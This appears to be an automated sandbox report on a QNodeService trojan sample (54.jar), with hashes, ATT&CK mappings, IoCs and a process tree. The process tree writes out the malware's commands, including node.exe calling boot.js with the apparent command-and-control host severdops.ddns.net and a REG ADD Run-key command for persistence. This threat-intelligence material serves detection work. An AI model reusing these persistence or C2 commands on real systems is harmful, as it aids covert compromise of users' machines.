qnodeservice | b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1

General

Target

54.jar
Size

57KB
MD5

ae77d6c4c46bbfdaa23c9238d12dcd98
SHA1

4a5e4e0e0e7957a6b78a827bcd2d13f37afa713d
SHA256

b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1
SHA512

64dc178003a04a44a3887e136749a2e46e455ca343373d92e8087454cba8c462bdbd04e40164d315bf283174293104d759fc2d38fff4232579d760d9a3f1d114

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice
Executes dropped EXE 3 IoCs

Processes:

node.exenode.exenode.exe

pid process

2312 node.exe
3548 node.exe
1560 node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\d62977a6-014a-49a4-9d9b-5cb3d33f262c = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js
C:\Users\Admin\node-v14.12.0-win-x64\node.exe	js

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

23 wtfismyip.com
22 wtfismyip.com

flow	ioc
23	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

node.exenode.exenode.exe

pid	process
2312	node.exe
2312	node.exe
2312	node.exe
2312	node.exe
3548	node.exe
3548	node.exe
3548	node.exe
3548	node.exe
1560	node.exe
1560	node.exe
1560	node.exe
1560	node.exe
1560	node.exe
1560	node.exe
1560	node.exe
1560	node.exe
1560	node.exe
1560	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

java.exejavaw.exenode.exenode.exenode.execmd.exe

description	pid	process	target process
PID 4092 wrote to memory of 1888	4092	java.exe	javaw.exe
PID 4092 wrote to memory of 1888	4092	java.exe	javaw.exe
PID 1888 wrote to memory of 2312	1888	javaw.exe	node.exe
PID 1888 wrote to memory of 2312	1888	javaw.exe	node.exe
PID 2312 wrote to memory of 3548	2312	node.exe	node.exe
PID 2312 wrote to memory of 3548	2312	node.exe	node.exe
PID 3548 wrote to memory of 1560	3548	node.exe	node.exe
PID 3548 wrote to memory of 1560	3548	node.exe	node.exe
PID 1560 wrote to memory of 2432	1560	node.exe	cmd.exe
PID 1560 wrote to memory of 2432	1560	node.exe	cmd.exe
PID 2432 wrote to memory of 2844	2432	cmd.exe	reg.exe
PID 2432 wrote to memory of 2844	2432	cmd.exe	reg.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\54.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4092

C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\dbd67cdc.tmp
2⤵
- Suspicious use of WriteProcessMemory
PID:1888

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2312

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_B68h8F\boot.js --hub-domain severdops.ddns.net
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3548

C:\Users\Admin\node-v14.12.0-win-x64\node.exe
C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_B68h8F\boot.js --hub-domain severdops.ddns.net
5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d62977a6-014a-49a4-9d9b-5cb3d33f262c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
6⤵
- Suspicious use of WriteProcessMemory
PID:2432

C:\Windows\system32\reg.exe
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d62977a6-014a-49a4-9d9b-5cb3d33f262c" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
7⤵
- Adds Run key to start application
PID:2844

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_qhub_node_B68h8F\boot.js
MD5
3859487feb5152e9d1afc4f8cd320608

SHA1
7bf154c9ddf3a71abf15906cdb60773e8ae07b62

SHA256
8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

SHA512
826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

Download Submit
C:\Users\Admin\AppData\Local\Temp\dbd67cdc.tmp
MD5
ae77d6c4c46bbfdaa23c9238d12dcd98

SHA1
4a5e4e0e0e7957a6b78a827bcd2d13f37afa713d

SHA256
b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1

SHA512
64dc178003a04a44a3887e136749a2e46e455ca343373d92e8087454cba8c462bdbd04e40164d315bf283174293104d759fc2d38fff4232579d760d9a3f1d114

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
C:\Users\Admin\node-v14.12.0-win-x64\node.exe
MD5
f0b11a5823c45fc2664e116dc0323bcb

SHA1
612339040c1f927ec62186cd5012f4bb9c53c1b9

SHA256
16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

SHA512
0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

Download Submit
memory/1560-183-0x000001C2A7C00000-0x000001C2A7C01000-memory.dmp

Filesize
4KB

Download
memory/1560-181-0x0000000000000000-mapping.dmp

Download
memory/1888-52-0x0000000000000000-mapping.dmp

Download
memory/2312-171-0x0000000000000000-mapping.dmp

Download
memory/2312-176-0x00000147B5940000-0x00000147B5941000-memory.dmp

Filesize
4KB

Download
memory/2432-184-0x0000000000000000-mapping.dmp

Download
memory/2844-185-0x0000000000000000-mapping.dmp

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memory/3548-179-0x000003FB87680000-0x000003FB87681000-memory.dmp

Filesize
4KB

Download
memory/3548-177-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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